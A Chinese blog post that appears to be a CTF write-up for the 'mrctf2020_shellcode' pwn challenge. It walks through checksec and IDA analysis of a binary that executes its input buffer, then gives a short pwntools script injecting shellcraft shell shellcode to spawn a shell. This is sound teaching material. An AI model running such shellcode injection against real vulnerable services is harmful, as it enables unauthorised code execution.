mrctf2020_shellcode

拿到附件后,先file一下;
在这里插入图片描述
看到是个64bit的程序,拖到ida64里;

checksec一下附件,看看保护情况;
在这里插入图片描述
栈没有保护,有可读可写可执行的段;

可以dbg调试一下,看看具体情况;
在这里插入图片描述

可以看到有一个段可读可写可执行,栈也确实没有什么保护;

现在去IDA分析一下程序;
变量参数如下
在这里插入图片描述

在这里插入图片描述

可以看到前几行在设置标准输入输出和错误;
在这里插入图片描述

接着输出"Show me your magic!";
然后read一个400bytes的数据;

接着是关键代码,将$eax赋值给[rbp+var_4],接着与0进行比较;
>0则执行:
在这里插入图片描述

[rbp+buf]地址赋值给$rax
然后call这个地址;

≤0则执行(即退出):
在这里插入图片描述

看到这就可以写个shellcode到buf中,让程序能够跳到这个地址来执行shellcode;

# coding='utf-8'
from pwn import *
context(arch='amd64',os='linux',terminal=['tmux','sp','-h'])
p = process('./mrctf2020_shellcode')
shellcode = asm(shellcraft.sh())
p.send(shellcode)
p.interactive()

可以看到执行后弹出了shell;
在这里插入图片描述

连buuoj后,可拿flag;
在这里插入图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值